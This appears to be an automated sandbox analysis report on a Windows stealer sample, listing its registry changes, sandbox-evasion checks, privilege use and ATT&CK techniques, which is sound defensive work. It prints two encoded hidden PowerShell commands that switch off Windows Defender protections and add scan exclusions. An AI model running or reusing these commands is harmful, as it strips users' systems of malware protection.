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Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3672	powershell.exe
5168	powershell.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3672	powershell.exe
3672	powershell.exe
5168	powershell.exe
5168	powershell.exe
3672	powershell.exe
5168	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	5168	powershell.exe
Token: SeIncreaseQuotaPrivilege	3672	powershell.exe
Token: SeSecurityPrivilege	3672	powershell.exe
Token: SeTakeOwnershipPrivilege	3672	powershell.exe
Token: SeLoadDriverPrivilege	3672	powershell.exe
Token: SeSystemProfilePrivilege	3672	powershell.exe
Token: SeSystemtimePrivilege	3672	powershell.exe
Token: SeProfSingleProcessPrivilege	3672	powershell.exe
Token: SeIncBasePriorityPrivilege	3672	powershell.exe
Token: SeCreatePagefilePrivilege	3672	powershell.exe
Token: SeBackupPrivilege	3672	powershell.exe
Token: SeRestorePrivilege	3672	powershell.exe
Token: SeShutdownPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeSystemEnvironmentPrivilege	3672	powershell.exe
Token: SeRemoteShutdownPrivilege	3672	powershell.exe
Token: SeUndockPrivilege	3672	powershell.exe
Token: SeManageVolumePrivilege	3672	powershell.exe
Token: 33	3672	powershell.exe
Token: 34	3672	powershell.exe
Token: 35	3672	powershell.exe
Token: 36	3672	powershell.exe
Token: SeIncreaseQuotaPrivilege	5168	powershell.exe
Token: SeSecurityPrivilege	5168	powershell.exe
Token: SeTakeOwnershipPrivilege	5168	powershell.exe
Token: SeLoadDriverPrivilege	5168	powershell.exe
Token: SeSystemProfilePrivilege	5168	powershell.exe
Token: SeSystemtimePrivilege	5168	powershell.exe
Token: SeProfSingleProcessPrivilege	5168	powershell.exe
Token: SeIncBasePriorityPrivilege	5168	powershell.exe
Token: SeCreatePagefilePrivilege	5168	powershell.exe
Token: SeBackupPrivilege	5168	powershell.exe
Token: SeRestorePrivilege	5168	powershell.exe
Token: SeShutdownPrivilege	5168	powershell.exe
Token: SeDebugPrivilege	5168	powershell.exe
Token: SeSystemEnvironmentPrivilege	5168	powershell.exe
Token: SeRemoteShutdownPrivilege	5168	powershell.exe
Token: SeUndockPrivilege	5168	powershell.exe
Token: SeManageVolumePrivilege	5168	powershell.exe
Token: 33	5168	powershell.exe
Token: 34	5168	powershell.exe
Token: 35	5168	powershell.exe
Token: 36	5168	powershell.exe
Token: SeIncreaseQuotaPrivilege	3672	powershell.exe
Token: SeSecurityPrivilege	3672	powershell.exe
Token: SeTakeOwnershipPrivilege	3672	powershell.exe
Token: SeLoadDriverPrivilege	3672	powershell.exe
Token: SeSystemProfilePrivilege	3672	powershell.exe
Token: SeSystemtimePrivilege	3672	powershell.exe
Token: SeProfSingleProcessPrivilege	3672	powershell.exe
Token: SeIncBasePriorityPrivilege	3672	powershell.exe
Token: SeCreatePagefilePrivilege	3672	powershell.exe
Token: SeBackupPrivilege	3672	powershell.exe
Token: SeRestorePrivilege	3672	powershell.exe
Token: SeShutdownPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeSystemEnvironmentPrivilege	3672	powershell.exe
Token: SeRemoteShutdownPrivilege	3672	powershell.exe
Token: SeUndockPrivilege	3672	powershell.exe
Token: SeManageVolumePrivilege	3672	powershell.exe
Token: 33	3672	powershell.exe
Token: 34	3672	powershell.exe
Token: 35	3672	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 244 wrote to memory of 3672	244	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe	91
PID 244 wrote to memory of 5168	244	2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe	92

C:\Users\Admin\AppData\Local\Temp\2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_c021e2302ecd1893dc2f62c23b499979_akira_glassworm_rusty-stealer.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Looks for VirtualBox Guest Additions in registry
- Identifies Wine through registry keys
- Windows security modification
- Suspicious use of WriteProcessMemory
PID:244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFMAYwByAGkAcAB0AFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBNAEEAUABTAFIAZQBwAG8AcgB0AGkAbgBnACAAMAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion